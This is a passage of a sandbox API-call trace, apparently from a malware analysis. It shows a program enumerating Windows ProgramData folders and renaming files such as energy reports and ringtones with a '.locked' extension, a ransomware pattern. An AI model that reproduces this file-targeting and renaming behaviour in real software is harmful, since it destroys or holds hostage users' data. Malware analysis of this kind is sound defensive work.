ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0131.546] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\GameExplorer\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf1644c40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf1644c40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0131.548] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf1644c40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf1644c40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0131.579] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-12.xml"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml.locked" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-12.xml.locked"), dwFlags=0x2) returned 1 [0131.603] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-26.xml"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml.locked" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-26.xml.locked"), dwFlags=0x2) returned 1 [0131.638] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml.locked" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml.locked"), dwFlags=0x2) returned 1 [0131.665] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html.locked" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html.locked"), dwFlags=0x2) returned 1 [0131.682] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf179b8a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf179b8a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0131.946] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 01.wma"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma.locked" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 01.wma.locked"), dwFlags=0x2) returned 1 [0132.083] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 02.wma"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma.locked" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 02.wma.locked"), dwFlags=0x2) returned 1 [0132.176] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 03.wma"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma.locked" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 03.wma.locked"), dwFlags=0x2) returned 1 [0132.418] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 04.wma"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma.locked" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 04.wma.locked"), dwFlags=0x2) returned 1 [0132.541] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 05.wma"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma.locked" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 05.wma.locked"), dwFlags=0x2) returned 1 [0132.642] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 06.wma"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma.locked" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 06.wma.locked"), dwFlags=0x2) returned 1 [0132.749] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 07.wma"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma.locked" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 07.wma.locked"), dwFlags=0x2) returned 1 [0132.934] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 08.wma"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma.locked" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 08.wma.locked"), dwFlags=0x2) returned 1 [0133.043] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 09.wma"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma.locked" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 09.wma.locked"), dwFlags=0x2) returned 1 [0133.136] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 10.wma"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma.locked" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 10.wma.locked"), dwFlags=0x2) returned 1 [0133.138] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Sqm\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xf2571880, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2571880, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.140] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xf2571880, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2571880, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.141] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xf2571880, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2571880, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.143] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xf2571880, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2571880, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.145] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf2571880, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2571880, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.148] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf25979e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf25979e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.150] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf25979e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf25979e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.154] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf25979e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf25979e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0133.156] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf25979e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf25979e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0133.158] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf25979e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf25979e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0133.161] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf25979e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf25979e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0133.163] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf25bdb40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf25bdb40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.165] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf25bdb40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf25bdb40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.168] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf25bdb40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf25bdb40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.170] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf25bdb40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf25bdb40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.172] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf25bdb40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf25bdb40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.175] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf25bdb40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf25bdb40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0133.178] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf25e3ca0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf25e3ca0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.180] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf25e3ca0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf25e3ca0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.183] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf25e3ca0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf25e3ca0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.185] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf25e3ca0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf25e3ca0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.186] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\WER\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf25e3ca0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf25e3ca0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.188] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf25e3ca0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf25e3ca0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.189] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf25e3ca0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf25e3ca0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.191] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf25e3ca0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf25e3ca0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.196] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf2609e00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2609e00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.197] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf2609e00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2609e00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.199] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf2609e00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2609e00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.201] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf2609e00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2609e00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.203] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf2609e00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2609e00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 